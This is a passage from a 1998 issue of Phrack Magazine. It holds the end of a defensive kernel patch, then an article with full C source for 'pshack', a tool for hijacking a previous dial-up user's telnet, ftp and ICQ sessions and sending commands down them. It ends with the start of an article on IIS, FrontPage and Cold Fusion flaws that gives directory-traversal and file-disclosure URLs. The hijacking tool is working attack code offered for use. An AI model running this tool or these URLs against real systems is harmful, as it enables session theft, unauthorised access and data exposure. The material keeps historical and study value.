#define TPE_REMOVE      1          /* delete an entry */
#define TPE_SHOW        2          /* show the list */
#define TPE_LDCHECK_E   3          /* enable ld.so environment checking */
#define TPE_LDCHECK_D   4          /* disable ld.so environment checking */
#define TPE_LDCHECK_S   5          /* show ld.so environment check status */

#define TPE_ACL_SIZE    80          /* Shouldn't need to be larger */
#define TPE_INITIALIZER -1          /* A UID that isn't used */

#define ACK              1          /* positive acknowledgement */
#define NACK             -1         /* negative acknowledgement */

#define LESS(X, Y)       (X < Y)
#define SWAP(X, Y)       (X ^= Y, Y ^= X, X ^= Y)
#define COMPSWAP(X, Y)   if (LESS(Y, X)) SWAP(X, Y)

/*
 *   Verify the path. This macro is passed a filled in attr struct via
 *   VOP_GETATTR.
 */
#define TRUSTED_PATH(AT) \
    (! (AT.va_mode & (S_IWGRP | S_IWOTH)) && (AT.va_uid == 0))

/*
 *   Verify the user. This macro is passed the user's ID from the u_cred
 *   struct.
 */
#define TRUSTED_USER(UID) (tpe_verify(UID) == ACK)

uid_t tpe_acl[TPE_ACL_SIZE];      /* trusted user list */
int tpe_acl_candidates;           /* number of users on the list */
int tpe_ld_check;                 /* check ld.so env */

/*
 *   Initialize the array with default values (TPE_INITIALIZER).

```

```

    */
void
tpe_init __P((
    void
));

/*
 * Dump the list.
 */
void
tpe_show __P((
    void
));

/*
 * Attempt to add a candidate to the list. Only fails if the list is full.
 */
int
tpe_add __P((
    uid_t          /* candidate user for addition */
));

/*
 * Attempt to remove a candidate from the list. Only fails if the entry is
 * not there.
 */
int
tpe_remove __P((
    uid_t          /* candidate user for deletion */
));

/*
 * Verify a candidate user.
 */
int
tpe_verify __P((
    uid_t          /* candidate user for verification */
));

/*
 * Insertion sort the list.
 */
void
tpe_sort __P((
    int,           /* list low element */
    int            /* list high high element */
));

/*
 * Locate a uid in the list, standard recursive binary search, running in
 * worst case of lg N.
 */
int
tpe_search __P((
    uid_t,         /* candidate user to search for */
    int,           /* list low element */
    int            /* list high high element */

```

```

));

#endif /* __KERN_TPE_H */
/* EOF */
<-->
<++> PP/Patch/PP-diff
--- ./usr.bin/fstat/fstat.c.orig      Tue Oct 20 10:43:58 1998
+++ ./usr.bin/fstat/fstat.c          Tue Oct 20 10:47:22 1998
@@ -158,6 +158,7 @@
     char *memf, *nlistf;
     char buf[_POSIX2_LINE_MAX];
     int cnt;
+    pid_t __uid;

     arg = 0;
     what = KERN_PROC_ALL;
@@ -248,7 +249,12 @@
     else
         putchar('\n');

+    __uid = getuid();
     for (plast = &p[cnt]; p < plast; ++p) {
+        if (__uid)
+        {
+            if (p->kp_eproc.e_pcred.p_ruid != __uid) continue;
+        }
         if (p->kp_proc.p_stat == SZOMB)
             continue;
         dofiles(p);
--- ./bin/ps/ps.c.orig      Tue Oct 20 10:48:40 1998
+++ ./bin/ps/ps.c          Tue Oct 20 10:51:26 1998
@@ -112,6 +112,7 @@
     dev_t ttydev;
     pid_t pid;
     uid_t uid;
+    uid_t __uid;
     int all, ch, flag, i, fmt, lineno, nentries;
     int prthead, wflag, what, xflg;
     char *nlistf, *memf, *swapf, errbuf[_POSIX2_LINE_MAX];
@@ -281,6 +282,8 @@
     if (!all && ttydev == NODEV && pid == -1) /* XXX - should be cleaner */
         uid = getuid();

+    __uid = getuid();
+
     /*
     * scan requested variables, noting what structures are needed,
     * and adjusting header widths as appropriate.
@@ -330,6 +333,20 @@
     for (i = lineno = 0; i < nentries; i++) {
         KINFO *ki = &kinfo[i];

+        /*
+        * root gets to see the whole proccess list.
+        */
+        if (__uid)
+        {
+            /*
+            * If the process in question is not our own, we do not
+            * get to see it.
+            */
+            if (kinfo[i].ki_p->kp_eproc.e_pcred.p_ruid != __uid)
+            {

```

```

+                continue;
+            }
+        }
+        if (xflg == 0 && (KI_EPROC(ki)->e_tdev == NODEV ||
+            (KI_PROC(ki)->p_flag & P_CONTROLT ) == 0))
+            continue;
--- ./usr.bin/w/w.c.orig      Tue Oct 20 10:52:02 1998
+++ ./usr.bin/w/w.c          Tue Oct 20 10:54:46 1998
@@ -131,6 +131,7 @@
     int ch, i, nentries, nusers, wcmd;
     char *memf, *nlistf, *p, *x;
     char buf[MAXHOSTNAMELEN], errbuf[_POSIX2_LINE_MAX];
+    uid_t __uid;

    /* Are we w(1) or uptime(1)? */
    p = __progname;
@@ -332,6 +333,14 @@
                                ep->utmp.ut_host + UT_HOSTSIZE - x, x);
        p = buf;
    }
+    __uid = getuid();
+    if (__uid)
+        (void)printf("%-*.s %-2.2s %-*.s ",
+            UT_NAMESIZE, UT_NAMESIZE, ep->utmp.ut_name,
+            strncmp(ep->utmp.ut_line, "tty", 3) ?
+            ep->utmp.ut_line : ep->utmp.ut_line + 3,
+            UT_HOSTSIZE, UT_HOSTSIZE, "<skulking about>");
+    else
+        (void)printf("%-*.s %-2.2s %-*.s ",
+            UT_NAMESIZE, UT_NAMESIZE, ep->utmp.ut_name,
+            strncmp(ep->utmp.ut_line, "tty", 3) ?
@@ -339,7 +348,14 @@
                                UT_HOSTSIZE, UT_HOSTSIZE, *p ? p : "-");
    pr_atime(&ep->utmp.ut_time, &now);
    pr_idle(ep->idle);
    pr_args(ep->kp);
+    if (__uid)
+    {
+        printf("<this n' that>");
+    }
+    else
+    {
+        pr_args(ep->kp);
+    }
    printf("\n");
}
exit(0);
--- ./usr.bin/who/who.c.orig  Tue Aug 19 22:37:21 1997
+++ ./usr.bin/who/who.c      Tue Oct 20 10:57:04 1998
@@ -227,6 +227,7 @@
    char state = '?';
    static time_t now = 0;
    time_t idle = 0;
+    uid_t __uid;

    if (show_term || show_idle) {
        if (now == 0)
@@ -265,8 +266,15 @@
                                (void)printf(" old  ");
    }

-    if (*up->ut_host)
-        printf("\t(%.s)", UT_HOSTSIZE, up->ut_host);

```

```

+         __uid = getuid();
+         if (__uid)
+         {
+             printf("\t<skulking about>");
+         }
+         else if (*up->ut_host)
+         {
+             printf("\t(%.s)", UT_HOSTSIZE, up->ut_host);
+         }
+         (void)putchar('\n');
+     }
<-->
<+> TPE/Core/Patch/ld.so-diff
-- gnu/usr.bin/ld/rtld/rtld.c.old      Thu Oct 22 20:44:52 1998
++ gnu/usr.bin/ld/rtld/rtld.c        Sat Oct 24 16:44:00 1998
@@ -39,6 +39,8 @@
#include <sys/resource.h>
#include <sys/errno.h>
#include <sys/mman.h>
+#include <sys/syscall.h>
+#include "/usr/src/sys/sys/kern_tpe.h"
#ifdef MAP_COPY
#define MAP_COPY      MAP_PRIVATE
#endif
@@ -150,7 +152,9 @@
static uid_t      uid, euid;
static gid_t      gid, egid;
static int        careful;
+static int        tpe_ld_strip;
static int        anon_fd = -1;
+static uid_t      list[TPE_ACL_SIZE];

struct so_map      *link_map_head, *main_map;
struct so_map      *link_map_tail = &link_map_head;
@@ -271,7 +275,20 @@

    careful = (uid != euid) || (gid != egid);

-    if (careful) {
+    if (syscall(SYS_tpe_adm, TPE_LDCHECK_S, -1, list) == -1)
+    {
+        fprintf(stderr, "Unknown internal error\n"); /* should NOT fail */
+        exit(EXIT_FAILURE);
+    }
+    if (list[0] && uid)
+    {
+        if (getenv("LD_PRELOAD") || getenv("LD_LIBRARY_PATH"))
+        {
+            fprintf(stderr, "Your environment contains illegal variables wh
ich are being stripped out for the execution of this program.\n");
+        }
+        tpe_ld_strip = 1;
+    }
+    if (careful || tpe_ld_strip) {
+        unsetenv("LD_LIBRARY_PATH");
+        unsetenv("LD_PRELOAD");
+    }
<-->
----[ EOF
---[ Phrack Magazine    Volume 8, Issue 54 Dec 25th, 1998, article 07 of 12

-----[ Scavenging Connections On Dynamic-IP Networks

```

-----[Seth McGann <smm@wpi.edu> (www.el8.org) 11.29.98

----[Purpose

This paper will highlight a potentially serious loophole in networks that rely on dynamic IP assignment. More specifically, dial-up dynamic IP assignment provided by almost every Internet Service Provider. This problem will allow the unauthorized use of the previous host's connections, for instance, in progress telnet and ftp control sessions. This issue is reminiscent of the problem where terminal servers would sometimes provide an already logged in session to a user lucky enough to call precisely after a forced disconnect due to line noise or other outside factor.

----[The Problem

To perform this feat we rely on some well know concepts, usually employed for non-blind spoofing or session hijacking. First, we have to understand what a connection looks like after an abrupt loss of service. The key point is that the connection does not simply disappear, because there is no way for the disconnected host to notify the remote end that it has lost its link. If the remote end tries to send more data and there is no host available, the upstream router will generate an ICMP unreachable and the connection will be terminated. If another dial-up user connects before the remote end has sent any more data the story is different. For a TCP based connection, the kernel will see a packet going to an unconnected port, usually with PUSH and ACK set or simply ACK, and will generate a RST, ending the connection. For an incident UDP packet, an ICMP unreachable is generated. Either way the connection will evaporate.

----[The Solution

Solving the problem is twofold. We must first prevent the kernel from killing the connections and second we must make sure the remote end knows we are still alive, to prevent timeouts. For UDP the answer is very simple. As long as we block outbound ICMP unreachable packets the remote end won't disconnect. Application timeouts must be dealt with, of course. For TCP we have a bigger problem, since the connections will die if not responded to. To prevent our poisonous RST packets from reaching the remote side we simply block all outbound TCP traffic. To keep the dialogue going, we simply ACK all incident PUSH|ACK packets and increment the ACK and SEQ numbers accordingly. We recover data from packets with the PUSH flag set. Additionally we can send data back down the connection by setting the PUSH and ACK flags on our outbound packets.

----[Implementation

To stop our kernel from killing the latent connections, we first block all outbound traffic. Under linux a command such as the following would be effective:

```
/sbin/ipfwadm -O -a deny -S 0.0.0.0/0 -P all -W ppp0
```

Now, no RST packets or ICMP will get out. We are essentially turning off kernel networking support and handling all the details ourselves. This will not allow us to send using raw sockets, unfortunately. SOCK_PACKET could be used, but in the interests of portability the firewall is simply opened

to send a packet and then closed. To be useful on a larger number of platforms, libpcap 0.4 was used for pulling packets off the wire and Libnet 0.8b was used for putting them back again. The program itself is called pshack.c because that's basically all it does. Additionally, it will allow you respond to in progress connections just in case you find a root shell. It will also accept inbound connections, and allow you to reply to them. Note, this will only work on Linux right now, due to the differences in handling of the firewall. This is very minor and will be fixed soon. It should compile without incident on RedHat 5.1 or 4.2 and on Slackware as well, given one change to the ip firewall header file, namely taking out the `#include <linux/tcp.h>` line.

----[Conclusions

Using this program it is easy to scavenge telnet and ftp control sessions, or basically any low traffic, idle connection. Grabbing ICQ sessions is a good example of a UDP based scavenge. Obviously, streaming connections, such as ftp data will be ICMP to death before they can be scavenged. It's interesting to note that hosts that drop ICMP unreachable packets, for fear of forged unreachable packets, are particularly vulnerable as they will not lose the connection as quickly.

Required:

libpcap 0.4 -> <ftp://ftp.ee.lbl.gov/libpcap.tar.Z>
Libnet 0.8b -> <http://www.infonexus.com/~daemon9/Projects/Libnet/>

```
<++> scavenge/pshack.c
/* - PshAck.c - Attempts to scavenge connections when you dial up an ISP.
 *   Author:      Seth McGann <smm@wpi.edu> / www.el8.org (Check papers section)
 *   Date:        11/29/98
 *   Greetings:   dmess0r,napster,awr,all things w00w00,#203
 *   Version:     0.3
 *
 *   Usage:
 *       1. Dial up your ISP and start pshack up.
 *       2. If you are lucky you will see connections you did not
 *          make :)
 *       3. Repeat the procedure.
 *
 *   Options:
 *       -i: The interface
 *       -l: Link offset
 *       -s: Your source IP
 *
 *   Compiling: 'gcc pshack.c -o pshack -lnet -lpcap' should work given you have
 *              libpcap and Libnet installed properly.
 *
 *              libpcap 0.4 : ftp://ftp.ee.lbl.gov/libpcap.tar.Z
 *              Libnet 0.8b: http://www.infonexus.com/~daemon9/Projects/Libnet/
 *
 *   Have fun!
 */
```

```
#define __BSD_SOURCE
#include <netinet/udp.h>
#define __FAVOR_BSD
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <syslog.h>
#include <sys/time.h>
```

```

#include <sys/types.h>
#include <sys/socket.h>
#include <net/if.h>
#include <libnet.h>
#include <pcap.h>
#include <netinet/ip_fw.h>
#include <setjmp.h>

/* #define DEBUGIT */

#ifdef DEBUGIT
#define DEFAULT_INTERFACE "eth1"
#define DEFAULT_OFFSET 14
#else
#define DEFAULT_INTERFACE "ppp0" /* Default is PPP with no linklayer */
#define DEFAULT_OFFSET 0
#endif

struct conn {
    u_int    type;
    u_long   src,dst,seq,ack;
    u_short  sport,dport;
};

void clean_exit(int);
void time_out(int);
void usage(char *);
void dump_packet( u_char *, int );
int update_db( u_char *, int, struct conn*);
void dump_db (struct conn*);

char errbuf[2000];
sigjmp_buf env;

int
main (int argc, char **argv) {
    struct ip      *ip_hdr;
    struct tcphdr  *tcp_hdr;
    struct udphdr  *udp_hdr;
    struct ip_fw   fw;
    struct ifreq   ifinfo;
    struct pcap_pkthdr ph;
    pcap_t         *pd;
    u_long         local=0,seq,ack;
    u_short        flags=0;
    u_char         *d_ptr,*packet;
    u_char         *pbuf=malloc(TCP_H+IP_H+500);
    char           iface[17],sendbuf[500];
    int            osock,sfd,linkoff,i,datalen,newsize,dbsize=0;
    struct conn    conn[100]; /* WAY more than enough */
    char arg;
    fd_set rfd;
    struct timeval tv;
    int retval;
    char user[500];

    strcpy(iface,DEFAULT_INTERFACE);
    linkoff=DEFAULT_OFFSET;

```

```

while((arg = getopt(argc, argv, "i:s:l:")) != EOF) {
    switch(arg) {
        case 's':
            local=inet_addr(optarg);
            break;
        case 'i':
            strncpy(iface, optarg, 16);
            break;
        case 'l':
            linkoff=atoi(optarg);
            break;
        default:
            usage(argv[0]);
            break;
    }
}

printf("* Blocking till %s comes up *\n", iface);

do {pd=pcap_open_live(iface, 1500, 0, 500, errbuf);}while(!pd);

printf("* Configuring Raw Output *\n");
osock=open_raw_sock(IPPROTO_RAW);
if (osock<0) perror("socket()"), exit(1);
strcpy(ifinfo.ifr_ifrn.ifrn_name, iface);
if(ioctl(osock, SIOCGIFFLAGS, &ifinfo)<0) perror("ioctl()"), exit(1);
if(ioctl(osock, SIOCSIFFLAGS, &ifinfo)<0) perror("ioctl()"), exit(1);
if(ioctl(osock, SIOCGIFADDR, &ifinfo)<0) perror("ioctl()"), exit(1);

bcopy(&ifinfo.ifr_addr.sa_data[2], &local, 4);
printf("* Address: %s\n", host_lookup(local, 0));

printf("* Blocking Outbound on %s *\n", iface);
sfd=socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
if(sfd<0) perror("socket()"), exit(1);

bzero(&fw, sizeof(fw));
strcpy(fw.fw_vianame, iface);
#ifdef DEBUGIT
fw.fw_flg=IP_FW_F_ICMP;
if(setsockopt(sfd, IPPROTO_IP, IP_FW_INSERT_OUT, &fw, sizeof(fw))<0)
perror("setsockopt()"), exit(1);
fw.fw_flg=IP_FW_F_TCP;
fw.fw_nsp=1;
fw.fw_pts[0]=666;
#endif
if(setsockopt(sfd, IPPROTO_IP, IP_FW_INSERT_OUT, &fw, sizeof(fw))<0)
perror("setsockopt()"), exit(1);

signal(SIGTERM, clean_exit);
signal(SIGINT, clean_exit);
signal(SIGALRM, time_out);

printf("* Entering Capture Loop *\n\n");
printf("* Commands [1] Dump database\n"
      "              [2] Send on connection <n> Ex: 2 1 ls -al\n"
      "              [3] Exit\n\n");
sigsetjmp(env, 1);

FD_ZERO(&rfd);
FD_SET(0, &rfd);
tv.tv_sec = 0;
tv.tv_usec = 0;

```

```

retval = select(1, &rfd, NULL, NULL, &tv);

if (retval) {
    retval=read(1,user,sizeof(user));
    user[retval]=0;
    switch(user[0]) {
        case '1':
            dump_db(conn);
            break;
        case '2':
            i=atoi(&user[2]);
            if (i > dbsize) {
                printf("* Invalid connection index) *\n");
                break;
            }
            build_ip(TCP_H,
                    101,
                    0,
                    IP_DF,
                    128,
                    IPPROTO_TCP,
                    local,
                    htonl(conn[i].src),
                    NULL, 0, pbuf);

            build_tcp(conn[i].dport,
                    conn[i].sport,
                    conn[i].seq,
                    conn[i].ack,
                    TH_PUSH|TH_ACK, 31000, 0,user+4,strlen(user+4),
                    pbuf + IP_H);

            do_checksum(pbuf, IPPROTO_TCP, TCP_H+strlen(user+4));
            setsockopt(sfd,IPPROTO_IP,IP_FW_DELETE_OUT,&fw,sizeof(fw));
            write_ip(sock, pbuf, TCP_H + IP_H + strlen(user+4));
            setsockopt(sfd,IPPROTO_IP,IP_FW_INSERT_OUT,&fw,sizeof(fw));

            printf("Sent: %s\n",user+4);
            break;
        case '3':
            clean_exit(1);
            break;
        default:
            break;
    }
}
alarm(1);

for(;packet=pcap_next(pd,&ph);) {
    ip_hdr = (struct ip *) (packet + linkoff);
    switch(ip_hdr->ip_p) {
case IPPROTO_TCP:
    tcp_hdr=(struct tcphdr*)((char*)ip_hdr)+(4*ip_hdr->ip_hl));
    dump_packet(packet,linkoff);
    #ifdef DEBUGIT
    if ((ntohl(ip_hdr->ip_src.s_addr) != local) &&
        ntohs(tcp_hdr->th_dport)==666) {
    #else
    if (ntohl(ip_hdr->ip_src.s_addr) != local) {

```

```

#endif
newsize=update_db(packet, linkoff, conn);

if(newsize>dbsize) {
printf("New Connect:\n");
dbsize=newsize;}

if (tcp_hdr->th_flags&TH_PUSH || (tcp_hdr->th_flags&TH_SYN &&
tcp_hdr->th_flags&TH_ACK)) {
datalen=ntohs(ip_hdr->ip_len)-IP_H-TCP_H;
if(!datalen) datalen++;

seq=ntohl(tcp_hdr->th_ack);
ack=ntohl(tcp_hdr->th_seq)+datalen;
flags=TH_ACK;
} else if (tcp_hdr->th_flags&TH_SYN) {
seq=get_prand(PRu32);
ack=ntohl(tcp_hdr->th_seq)+1;
flags=TH_SYN|TH_ACK;
}

if(flags) {
build_ip(TCP_H,
        101,
        0,
        IP_DF,
        128,
        IPPROTO_TCP,
        local,
        ip_hdr->ip_src.s_addr,
        NULL, 0, pbuf);

build_tcp(ntohs(tcp_hdr->th_dport),
        ntohs(tcp_hdr->th_sport),
        seq,
        ack,
        flags, 31000, 0, NULL, 0, pbuf + IP_H);

do_checksum(pbuf, IPPROTO_TCP, TCP_H);
setsockopt(sfd, IPPROTO_IP, IP_FW_DELETE_OUT, &fw, sizeof(fw));
write_ip(osock, pbuf, TCP_H + IP_H);
setsockopt(sfd, IPPROTO_IP, IP_FW_INSERT_OUT, &fw, sizeof(fw));
flags=0; }
}
break;

case IPPROTO_UDP:
dump_packet(packet, linkoff);
break;
default:
break;
}
}

```

```

}

void
dump_packet( u_char *packet, int linkoff ) {

    struct ip      *ip_hdr;
    struct tcphdr  *tcp_hdr;
    struct udphdr  *udp_hdr;

```

```

u_char      *d_ptr;
u_int       i;

ip_hdr = (struct ip *) (packet + linkoff);

switch (ip_hdr->ip_p) {

case IPPROTO_TCP:
tcp_hdr=(struct tcphdr*) (((char*) ip_hdr)+(4*ip_hdr->ip_hl));

printf("*****\n");
printf("TCP: %s.%d->%s.%d SEQ: %u ACK: %u\n "
      "Flags: %c%c%c%c%c%c Data Len: %d\n",
      host_lookup(ip_hdr->ip_src.s_addr,0),
      ntohs(tcp_hdr->th_sport),
      host_lookup(ip_hdr->ip_dst.s_addr,0),
      ntohs(tcp_hdr->th_dport),
      ntohl(tcp_hdr->th_seq),
      ntohl(tcp_hdr->th_ack),
      (tcp_hdr->th_flags & TH_URG) ? 'U' : '-',
      (tcp_hdr->th_flags & TH_ACK) ? 'A' : '-',
      (tcp_hdr->th_flags & TH_PUSH) ? 'P' : '-',
      (tcp_hdr->th_flags & TH_RST) ? 'R' : '-',
      (tcp_hdr->th_flags & TH_SYN) ? 'S' : '-',
      (tcp_hdr->th_flags & TH_FIN) ? 'F' : '-',
      ntohs(ip_hdr->ip_len)-IP_H-TCP_H);

d_ptr=packet+linkoff+TCP_H+IP_H;

for(i=0;i<(ntohs(ip_hdr->ip_len)-IP_H-TCP_H);i++)
    if (d_ptr[i]=='\n')
        printf("\n");
    else if (d_ptr[i]>0x1F && d_ptr[i]<0x7F)
        printf("%c",d_ptr[i]);
    else
        printf (".");

printf("\n");
break;

case IPPROTO_UDP:

udp_hdr=(struct udphdr*) (((char*) ip_hdr) + (4 * ip_hdr->ip_hl));
printf("*****\n");
printf("UDP: %s.%d->%s.%d Data Len: %d\n",
      host_lookup(ip_hdr->ip_src.s_addr,0),
      ntohs(udp_hdr->uh_sport),
      host_lookup(ip_hdr->ip_dst.s_addr,0),
      ntohs(udp_hdr->uh_dport),
      ntohs(ip_hdr->ip_len)-IP_H-UDP_H);

d_ptr=packet+linkoff+UDP_H+IP_H;
for(i=0;i<(ntohs(udp_hdr->uh_ulen)-UDP_H);i++)
    if (d_ptr[i]=='\n')
        printf("\n");
    else if (d_ptr[i]>0x19 && d_ptr[i]<0x7F)
        printf("%c",d_ptr[i]);
    else
        printf (".");

printf("\n");
break;

```

```

        default:
        /* We ignore everything else */
        break;
    }
}

void
clean_exit(int val) {

    int sfd,p=0;

    sfd=socket(AF_INET,SOCK_RAW,IPPROTO_RAW);
    if (sfd<0) perror("socket()"),exit(1);
    if(setsockopt(sfd,IPPROTO_IP,IP_FW_FLUSH_OUT,&p,sizeof(p))<0)
        perror("setsockopt()"),exit(1);
    exit(0);
}

void
usage(char *arg) {
    printf("%s: [options]\n"
           "  -i: The interface\n"
           "  -l: Link offset\n"
           "  -s: Your source IP\n\n",arg);
    exit(0);
}

void
dump_db (struct conn *conn) {

    int i;

    for(i=0;conn[i].type;i++)
        if(conn[i].type==IPPROTO_TCP)
            printf("%d: TCP: %s.%d->%s.%d SEQ: %u ACK: %u\n",
                   i, host_lookup(htonl(conn[i].src),0),conn[i].sport,
                   host_lookup(htonl(conn[i].dst),0), conn[i].dport,
                   conn[i].seq,conn[i].ack);
        else if(conn[i].type==IPPROTO_UDP)
            printf("%d: UDP: %s.%d->%s.%d\n",
                   i, host_lookup(htonl(conn[i].src),0),conn[i].sport,
                   host_lookup(htonl(conn[i].dst),0), conn[i].dport);
        else break;
}

int
update_db( u_char *packet, int linkoff, struct conn *conn) {
    struct ip      *ip_hdr;
    struct tcphdr *tcp_hdr;
    struct udphdr *udp_hdr;
    int i=0;
    ip_hdr = (struct ip *) (packet + linkoff);

    switch(ip_hdr->ip_p) {

    case IPPROTO_TCP:
        tcp_hdr=(struct tcphdr*) (((char*) ip_hdr)+(4*ip_hdr->ip_hl));

```

```

for(i=0;conn[i].type;i++)
    if(conn[i].type==IPPROTO_TCP)
        if(ip_hdr->ip_src.s_addr==htonl(conn[i].src))
            if(ip_hdr->ip_dst.s_addr==htonl(conn[i].dst))
                if(ntohs(tcp_hdr->th_sport)==conn[i].sport)
                    if(ntohs(tcp_hdr->th_dport)==conn[i].dport)
                        break;

if(conn[i].type) {
    conn[i].seq=ntohl(tcp_hdr->th_ack);
    conn[i].ack=ntohl(tcp_hdr->th_seq); }
else {
    conn[i].type=IPPROTO_TCP;
    conn[i].src=ntohl(ip_hdr->ip_src.s_addr);
    conn[i].dst=ntohl(ip_hdr->ip_dst.s_addr);
    conn[i].sport=ntohs(tcp_hdr->th_sport);
    conn[i].dport=ntohs(tcp_hdr->th_dport);
    conn[i].seq=ntohl(tcp_hdr->th_ack);
    conn[i].ack=ntohl(tcp_hdr->th_seq); }

break;

case IPPROTO_UDP:
udp_hdr=(struct udphdr*)((char*)ip_hdr)+(4*ip_hdr->ip_hl));

for(i=0;conn[i].type;i++)
    if(conn[i].type==IPPROTO_TCP)
        if(ntohl(ip_hdr->ip_src.s_addr)==conn[i].src)
            if(ntohl(ip_hdr->ip_dst.s_addr)==conn[i].dst)
                if(ntohs(udp_hdr->uh_sport)==conn[i].sport)
                    if(ntohs(udp_hdr->uh_dport)==conn[i].dport) break;

if(!conn[i].type) {
    conn[i].type=IPPROTO_UDP;
    conn[i].src=ntohl(ip_hdr->ip_src.s_addr);
    conn[i].dst=ntohl(ip_hdr->ip_dst.s_addr);
    conn[i].sport=ntohs(udp_hdr->uh_sport);
    conn[i].dport=ntohs(udp_hdr->uh_dport); }

break;
default:
/* We Don't care */
break;
}
return i;

```

```

}

```

```

void
time_out(int blank) {
alarm(0);
siglongjmp(env,1);
}

```

```

/* EOF */
<-->

```

```

----[ EOF

```

```

---[ Phrack Magazine Volume 8, Issue 54 Dec 25th, 1998, article 08 of 12

```

```

-----[ NT Web Technology Vulnerabilities

```


-----[rain.forest.puppy / [WT] <rfpuppy@iname.com>

*Note: most of the vulnerabilities in this document have NOT been made public; they were discovered by rain.forest.puppy, or other members of WT. Lots of new toys out there on the Internet lately. Seems like the web is the way to go, and every software spigot is demanding they be 'web-enabled'. A lot are reinventing the wheel, bundling sub-standard web servers to serve up their HTML and Java interface.

But this article isn't about them. There's too many, and they're too easy to use as vulnerable targets. It's much more fun to find the needle in the haystack, so I'm going to focus on some more common setups. On to the show.

----[IIS 4.0

IIS is not too bad as a web server. It still doesn't compare to Apache, but it has flexible scripting and server-side abilities. But, of course, everything has its price...

One interesting problem (and probably the only one that may be previously published at the time of this writing) is that appending an ".idc" extension to the end of a URL will cause IIS installations to try to run the so-called .IDC through the database connector .DLL. If the .IDC doesn't exist, then it returns a rather informative page stating that it can't open %documentroot%\<bogus name>.idc. For example:

"Cannot open c:\inetpub\wwwroot\index.html.idc"

Wow, absolute paths on the server. Very interesting. What good does this do? Well, it gives you some insight and hints. If you're trying to exploit CGI or other server-based programs, knowing what drive you're on when trying to access outside documents blindly helps a lot. For example, if the IDC query came back:

f:\webs\1\index.html.idc

then you know you'll probably have to specify 'c:\' to get to any Windows NT system files; you can't do silly stuff like:

../../../../winnt/system/repair/sam._

since you're doing relative addressing, and staying on drive F. Another common return is something like"

"Cannot open d:\20x.140.3x.25\index.html.idc"

Where the IP address is the full IP address of the webserver. This usually indicates that the site is on a system that's probably hosting multiple websites.

Also, usually the site that's based in \inetpub\wwwroot is the 'default' site, and may have other things associated with it (like sample files, etc... We'll get to these later). This is important to remember.

----[FrontPage Webbots

A really quick recap on how webbots work: Frontpage inserts some HTML comments that specify the parameters of the webbot. Then, the form is submitted to

/_vti_bin/shtml.dll, and the URL of the page is given. shtml.dll reads through the given page, and interprets the webbot/HTML comment code.

So, all the parameters that are involved in (most) webbots are embedded in the HTML page themselves. Let's take an example from a corporate site that makes a very popular FTP suite (this is HTML code):

```
<!--webbot BOT="GeneratedScript" endspan -->
<form method="POST" action="../_vti_bin/shtml.dll/downloads/ftp.html"
name="FrontPage_Form1" webbot-action="--WEBBOT-SELF--">
<!--webbot bot="SaveResults"
u-file="d:\us\product_downloads\download_log.csv"
s-format="TEXT/CSV" s-label-fields="FALSE" s-builtin-fields="Date Time"
s-form-fields u-confirmation-url="../_confirmations/ftp.html"
startspan -->
```

Notice that this site is saving the results to a file (and the fact that it has "d:\.." says that it is a Windows-based server). But the more important part to notice is the 'u-confirmation-url' field. This page has a large form for you to fill in. When you submit it, what you entered is saved in the 'u-file', and then you're redirected to 'u-confirmation-url'. Don't want to give all your personal information to them? Well, just go to 'u-confirmation-url'. In this case, this was a registration page for download of the eval. Since I got tired of filling out my information all the time, I now just go to the confirmation URL and download away, bypassing the form.

On a related note, if bot="SaveResults", and u-file is in the web structure (which it happens to be a lot on virtually hosted accounts), you're able to view the contents of the file. For instance,

```
<!--webbot bot="SaveResults"
u-file="/_private/download.log"
s-format="TEXT/TEXT" s-form-fields startspan -->
```

means you can go to http://site/_private/download.log and view all the info everyone else entered.

----[IIS 3.0 to IIS 4.0

There are several changes between IIS 3.0 and IIS 4.0. Sure, MMC is important and all, but there's something else even better: there are default associations made between certain file extensions and .DLLs. Let's look at a particular example...

In IIS 3.0, you'd administer the website by going to <http://site/iisadmin/>, which would pop over to using /scripts/iisadmin/ism.dll, and routing the various .HTR files in that directory through itself. The .HTR files are relatively useless without ism.dll to process them, and ism.dll has hard-coded authentication built into it.

Now, upgrade from IIS 3.0 to 4.0. You now administer your site through <http://localhost:5416/>. What about all those .HTRs in /scripts/iisadmin? They're still there, unless you actually deleted them. And the problem? IIS 4.0 associates all .HTRs with a new and improved ism.dll, which contains no hard-coded authentication. So now, whenever you request a .HTR file, IIS will happily process it for you, not caring about authentication. You can now use the .HTR files in /scripts/iisadmin to your liking. Kinda. None of them work, due to so many changes. EXCEPT FOR ONE: bdir.htr. bdir.htr seems to still be happy, and gladly shows you all the directories on any drive. You can navigate all the server's drives (and network mappings), but all you get to see is directories (no files). In case you're wondering, you

can tell bdir.htr where to look by doing

```
/scripts/iisadmin/bdir.htr??<path>
```

ie:

```
/scripts/iisadmin/bdir.htr??d:\webs\
```

I haven't played with the other file extensions, but there's a half-dozen or so that IIS will now happily process (the normal ones like .ASP, .IDC, .HTR, and other unfamiliar ones like .HTW, .IDQ, .IDA, .CER, etc).

----[Sample pages

While it's not a good idea to put included sample pages and applications on a public server, still many places do. IIS 4.0 includes a rather large and comprehensive demo site called 'Exploration Air', which employs many IIS 4.0 web technologies. An interesting feature is the 'How It Works' button on the bottom of every page, which takes you to a script that parses the pages code into colorful tags. This is a problem.

It uses the Scripting.FileSystemObject to request the page. Luckily, it will only let you use virtual paths; unfortunately, it allows the use of ../ to escape to higher directories, including up into the root directory. This allows it to open any file on the same drive. Using the .IDC bug above to determine where the file rests, you can determine if you can get to WinNT system files. You can also view the code of any page application (.ASP, .CFM, .IDC, etc). For example:

```
http://site/iissamples/exair/howitworks/codebrws.asp?source=../../boot.ini
```

could show the Windows NT boot.ini file. It's used in the ExAir sample site, as shown above, and also the SDK, if installed, at
<http://site/iissamples/sdk/asp/docs/codebrws.asp>

----[Cold Fusion app.server 3.1

Cold Fusion is a rather creative scripting language; it's a nice front end to ODBC database connections. But I wouldn't be mentioning it here if it didn't have any problems.

Like IIS 4.0, there's a few alarming things with the sample pages included with CF. One is the Expression Evaluator at:

```
http://site/cfdocs/expeval/eval.cfm
```

They have a security check. It calls check_ip.cfm, which allows access only from 127.0.0.1 (localhost). Bummer, we can't run raw code on the server. But, let's check out:

```
http://site/cfdocs/expeval/exprcalc.cfm
```

It still doesn't do us any good, because it still uses eval.cfm to process the expression(s) we enter. But, there's something more interesting: the expression calculator lets us save and load files of expressions to evaluate. And it just so happens that exprcalc.cfm is the form used to LOAD files. And it let's us load any file we want. For instance:

```
